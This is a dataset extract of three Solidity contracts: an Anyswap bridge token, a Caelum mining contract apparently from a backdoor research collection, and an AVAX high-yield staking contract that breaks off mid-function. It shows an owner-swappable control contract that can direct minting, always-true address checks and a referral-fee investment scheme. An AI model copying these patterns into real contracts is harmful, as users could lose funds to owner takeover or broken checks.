| 123,330 | 11,796 |
3d06ada5cf0bc423dd6a1ad3f37492f1324913653f65929309162b09fa7aaa6d
| 24,376 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/97/97cd1cfe2ed5712660bb6c14053c0ecb031bff7d_AnyswapV6ERC20.sol
| 5,050 | 19,376 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC2612 {
function nonces(address owner) external view returns (uint256);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
}
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// configurable delay for timelock functions
uint public delay = 2*24*3600;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function owner() public view returns (address) {
return mpc();
}
function mpc() public view returns (address) {
if (block.timestamp >= delayVault) {
return pendingVault;
}
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
vault = _vault;
pendingVault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
delayVault = block.timestamp;
_init = false;
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV3ERC20: address(0x0)");
pendingVault = _vault;
delayVault = block.timestamp + delay;
}
function applyVault() external onlyVault {
require(block.timestamp >= delayVault);
vault = pendingVault;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV3ERC20: address(0x0)");
pendingMinter = _auth;
delayMinter = block.timestamp + delay;
}
function applyMinter() external onlyVault {
require(block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
vault = newVault;
pendingVault = newVault;
emit LogChangeVault(vault, pendingVault, block.timestamp);
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth");
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => uint256) public override nonces;
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0x0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
pendingVault = _vault;
delayVault = block.timestamp;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(underlying != address(0x0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
}
| 31,890 | 11,797 |
576b384d8221665cc561ebd0b03260ce1467c39ff03a925347639ef70579f83d
| 20,052 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x28723f0bb2c2040caa9e2e8fe487bca7c00fc300.sol
| 3,717 | 14,671 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns(uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns(uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns(uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns(uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns(uint256) {
require(b != 0);
return a % b;
}
}
library ExtendedMath {
function limitLessThan(uint a, uint b) internal pure returns(uint c) {
if (a > b) return b;
return a;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract InterfaceContracts is Ownable {
InterfaceContracts public _internalMod;
function setModifierContract (address _t) onlyOwner public {
_internalMod = InterfaceContracts(_t);
}
modifier onlyMiningContract() {
require(msg.sender == _internalMod._contract_miner(), "Wrong sender");
_;
}
modifier onlyTokenContract() {
require(msg.sender == _internalMod._contract_token(), "Wrong sender");
_;
}
modifier onlyMasternodeContract() {
require(msg.sender == _internalMod._contract_masternode(), "Wrong sender");
_;
}
modifier onlyVotingOrOwner() {
require(msg.sender == _internalMod._contract_voting() || msg.sender == owner, "Wrong sender");
_;
}
modifier onlyVotingContract() {
require(msg.sender == _internalMod._contract_voting() || msg.sender == owner, "Wrong sender");
_;
}
function _contract_voting () public view returns (address) {
return _internalMod._contract_voting();
}
function _contract_masternode () public view returns (address) {
return _internalMod._contract_masternode();
}
function _contract_token () public view returns (address) {
return _internalMod._contract_token();
}
function _contract_miner () public view returns (address) {
return _internalMod._contract_miner();
}
}
interface ICaelumMasternode {
function _externalArrangeFlow() external;
function rewardsProofOfWork() external returns (uint) ;
function rewardsMasternode() external returns (uint) ;
function masternodeIDcounter() external returns (uint) ;
function masternodeCandidate() external returns (uint) ;
function getUserFromID(uint) external view returns (address) ;
function contractProgress() external view returns (uint, uint, uint, uint, uint, uint, uint, uint);
}
interface ICaelumToken {
function rewardExternal(address, uint) external;
}
interface EIP918Interface {
function mint(uint256 nonce, bytes32 challenge_digest) external returns (bool success);
function getChallengeNumber() external view returns (bytes32);
function getMiningDifficulty() external view returns (uint);
function getMiningTarget() external view returns (uint);
function getMiningReward() external view returns (uint);
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
}
contract AbstractERC918 is EIP918Interface {
// generate a new challenge number after a new reward is minted
bytes32 public challengeNumber;
// the current mining difficulty
uint public difficulty;
// cumulative counter of the total minted tokens
uint public tokensMinted;
// track read only minting statistics
struct Statistics {
address lastRewardTo;
uint lastRewardAmount;
uint lastRewardEthBlockNumber;
uint lastRewardTimestamp;
}
Statistics public statistics;
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success);
function _hash(uint256 nonce, bytes32 challenge_digest) internal returns (bytes32 digest);
function _reward() internal returns (uint);
function _newEpoch(uint256 nonce) internal returns (uint);
function _adjustDifficulty() internal returns (uint);
}
contract CaelumAbstractMiner is InterfaceContracts, AbstractERC918 {
using SafeMath for uint;
using ExtendedMath for uint;
uint256 public totalSupply = 2100000000000000;
uint public latestDifficultyPeriodStarted;
uint public epochCount;
uint public baseMiningReward = 50;
uint public blocksPerReadjustment = 512;
uint public _MINIMUM_TARGET = 2 ** 16;
uint public _MAXIMUM_TARGET = 2 ** 234;
uint public rewardEra = 0;
uint public maxSupplyForEra;
uint public MAX_REWARD_ERA = 39;
uint public MINING_RATE_FACTOR = 60; //mint the token 60 times less often than ether
uint public MAX_ADJUSTMENT_PERCENT = 100;
uint public TARGET_DIVISOR = 2000;
uint public QUOTIENT_LIMIT = TARGET_DIVISOR.div(2);
mapping(bytes32 => bytes32) solutionForChallenge;
mapping(address => mapping(address => uint)) allowed;
bytes32 public challengeNumber;
uint public difficulty;
uint public tokensMinted;
Statistics public statistics;
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
event RewardMasternode(address candidate, uint amount);
constructor() public {
tokensMinted = 0;
maxSupplyForEra = totalSupply.div(2);
difficulty = _MAXIMUM_TARGET;
latestDifficultyPeriodStarted = block.number;
_newEpoch(0);
}
function _newEpoch(uint256 nonce) internal returns(uint) {
if (tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < MAX_REWARD_ERA) {
rewardEra = rewardEra + 1;
}
maxSupplyForEra = totalSupply - totalSupply.div(2 ** (rewardEra + 1));
epochCount = epochCount.add(1);
challengeNumber = blockhash(block.number - 1);
return (epochCount);
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns(bool success);
function _hash(uint256 nonce, bytes32 challenge_digest) internal returns(bytes32 digest) {
digest = keccak256(challengeNumber, msg.sender, nonce);
if (digest != challenge_digest) revert();
if (uint256(digest) > difficulty) revert();
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if (solution != 0x0) revert(); //prevent the same answer from awarding twice
}
function _reward() internal returns(uint);
function _reward_masternode() internal returns(uint);
function _adjustDifficulty() internal returns(uint) {
//every so often, readjust difficulty. Dont readjust when deploying
if (epochCount % blocksPerReadjustment != 0) {
return difficulty;
}
uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted;
//assume 360 ethereum blocks per hour
uint epochsMined = blocksPerReadjustment;
uint targetEthBlocksPerDiffPeriod = epochsMined * MINING_RATE_FACTOR;
//if there were less eth blocks passed in time than expected
if (ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod) {
uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(MAX_ADJUSTMENT_PERCENT)).div(ethBlocksSinceLastDifficultyPeriod);
uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(QUOTIENT_LIMIT);
//make it harder
difficulty = difficulty.sub(difficulty.div(TARGET_DIVISOR).mul(excess_block_pct_extra)); //by up to 50 %
} else {
uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(MAX_ADJUSTMENT_PERCENT)).div(targetEthBlocksPerDiffPeriod);
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(QUOTIENT_LIMIT); //always between 0 and 1000
//make it easier
difficulty = difficulty.add(difficulty.div(TARGET_DIVISOR).mul(shortage_block_pct_extra)); //by up to 50 %
}
latestDifficultyPeriodStarted = block.number;
if (difficulty < _MINIMUM_TARGET) //very difficult
{
difficulty = _MINIMUM_TARGET;
}
if (difficulty > _MAXIMUM_TARGET) //very easy
{
difficulty = _MAXIMUM_TARGET;
}
}
function getChallengeNumber() public view returns(bytes32) {
return challengeNumber;
}
function getMiningDifficulty() public view returns(uint) {
return _MAXIMUM_TARGET.div(difficulty);
}
function getMiningTarget() public view returns(uint) {
return difficulty;
}
function getMiningReward() public view returns(uint) {
return (baseMiningReward * 1e8).div(2 ** rewardEra);
}
function getMintDigest(uint256 nonce,
bytes32 challenge_digest,
bytes32 challenge_number)
public view returns(bytes32 digesttest) {
bytes32 digest = keccak256(challenge_number, msg.sender, nonce);
return digest;
}
function checkMintSolution(uint256 nonce,
bytes32 challenge_digest,
bytes32 challenge_number,
uint testTarget)
public view returns(bool success) {
bytes32 digest = keccak256(challenge_number, msg.sender, nonce);
if (uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
}
contract CaelumMiner is CaelumAbstractMiner {
ICaelumToken public tokenInterface;
ICaelumMasternode public masternodeInterface;
bool public ACTIVE_STATE = false;
uint swapStartedBlock = now;
uint public gasPriceLimit = 999;
modifier checkGasPrice(uint txnGasPrice) {
require(txnGasPrice <= gasPriceLimit * 1000000000, "Gas above gwei limit!");
_;
}
event GasPriceSet(uint8 _gasPrice);
function setGasPriceLimit(uint8 _gasPrice) onlyOwner public {
require(_gasPrice > 0);
gasPriceLimit = _gasPrice;
emit GasPriceSet(_gasPrice); //emit event
}
function setTokenContract() internal {
tokenInterface = ICaelumToken(_contract_token());
}
function setMasternodeContract() internal {
masternodeInterface = ICaelumMasternode(_contract_masternode());
}
function setModifierContract (address _contract) onlyOwner public {
require (now <= swapStartedBlock + 10 days);
_internalMod = InterfaceContracts(_contract);
setMasternodeContract();
setTokenContract();
}
function VoteModifierContract (address _contract) onlyVotingContract external {
//_internalMod = CaelumModifierAbstract(_contract);
_internalMod = InterfaceContracts(_contract);
setMasternodeContract();
setTokenContract();
}
function mint(uint256 nonce, bytes32 challenge_digest) checkGasPrice(tx.gasprice) public returns(bool success) {
require(ACTIVE_STATE);
_hash(nonce, challenge_digest);
masternodeInterface._externalArrangeFlow();
uint rewardAmount = _reward();
uint rewardMasternode = _reward_masternode();
tokensMinted += rewardAmount.add(rewardMasternode);
uint epochCounter = _newEpoch(nonce);
_adjustDifficulty();
statistics = Statistics(msg.sender, rewardAmount, block.number, now);
emit Mint(msg.sender, rewardAmount, epochCounter, challengeNumber);
return true;
}
function _reward() internal returns(uint) {
uint _pow = masternodeInterface.rewardsProofOfWork();
tokenInterface.rewardExternal(msg.sender, 1 * 1e8);
return _pow;
}
function _reward_masternode() internal returns(uint) {
uint _mnReward = masternodeInterface.rewardsMasternode();
if (masternodeInterface.masternodeIDcounter() == 0) return 0;
address _mnCandidate = masternodeInterface.getUserFromID(masternodeInterface.masternodeCandidate()); // userByIndex[masternodeCandidate].accountOwner;
if (_mnCandidate == 0x0) return 0;
tokenInterface.rewardExternal(_mnCandidate, _mnReward);
emit RewardMasternode(_mnCandidate, _mnReward);
return _mnReward;
}
function getMiningRewardForPool() public view returns(uint) {
return masternodeInterface.rewardsProofOfWork();
}
function getMiningReward() public view returns(uint) {
return (baseMiningReward * 1e8).div(2 ** rewardEra);
}
function contractProgress() public view returns
(uint epoch,
uint candidate,
uint round,
uint miningepoch,
uint globalreward,
uint powreward,
uint masternodereward,
uint usercounter) {
return ICaelumMasternode(_contract_masternode()).contractProgress();
}
function getDataFromContract(address _previous_contract) onlyOwner public {
require(ACTIVE_STATE == false);
require(_contract_token() != 0);
require(_contract_masternode() != 0);
CaelumAbstractMiner prev = CaelumAbstractMiner(_previous_contract);
difficulty = prev.difficulty();
rewardEra = prev.rewardEra();
MINING_RATE_FACTOR = prev.MINING_RATE_FACTOR();
maxSupplyForEra = prev.maxSupplyForEra();
tokensMinted = prev.tokensMinted();
epochCount = prev.epochCount();
ACTIVE_STATE = true;
}
}
| 147,689 | 11,798 |
68f124982765f43dc7c14616d405179d05dc34b0a862f41197febb9dfc928dff
| 14,286 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/43/43cc235a6d9fd24af53f4217015eb58dcfeadb3c_AVAXStakerPro.sol
| 4,522 | 13,430 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract AVAXStakerPro {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 0.1 ether;
uint256[] public REFERRAL_PERCENTS = [80, 40, 20];
uint256 constant public PROJECT_FEE = 150;
uint256 constant public PERCENT_STEP = 6;
uint256 public WITHDRAW_FEE;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public MAXIMUM_NUMBER_DEPOSITS = 100;
uint256 public totalStaked;
uint256 public totalRefBonus;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256[3] levels;
uint256 bonus;
uint256 totalBonus;
}
mapping (address => User) internal users;
uint256 public startUNIX;
address payable public commissionWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable wallet, uint256 startDate) public {
require(!isContract(wallet));
require(startDate > 0);
commissionWallet = wallet;
startUNIX = startDate;
plans.push(Plan(14, 110));
plans.push(Plan(21, 80));
plans.push(Plan(28, 70));
plans.push(Plan(14, 160));
plans.push(Plan(21, 150));
plans.push(Plan(28, 140));
}
function invest(address referrer, uint8 plan) public payable {
require(msg.value >= INVEST_MIN_AMOUNT,"too small");
require(plan < 6, "Invalid plan");
User storage user = users[msg.sender];
require(user.deposits.length < MAXIMUM_NUMBER_DEPOSITS, "Maximum number of deposits reached.");
uint256 fee = msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
emit FeePayed(msg.sender, fee);
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].levels[i] = users[upline].levels[i].add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
emit Newbie(msg.sender);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, msg.value);
user.deposits.push(Deposit(plan, percent, msg.value, profit, block.timestamp, finish));
totalStaked = totalStaked.add(msg.value);
emit NewDeposit(msg.sender, plan, percent, msg.value, profit, block.timestamp, finish);
}
// usePlan setting
function userPlan(address _user , uint256 _index) public view returns(uint8 plan) {
User storage user = users[_user];
plan = user.deposits[_index].plan;
}
// userPlan setting 2
function withdraw() public {
User storage user = users[msg.sender];
if(user.deposits[0].plan == 0) {
WITHDRAW_FEE = 1600;
uint256 totalAmount = getUserDividends(msg.sender);
uint256 fees = totalAmount.mul(WITHDRAW_FEE).div(10000);
totalAmount = totalAmount.sub(fees);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
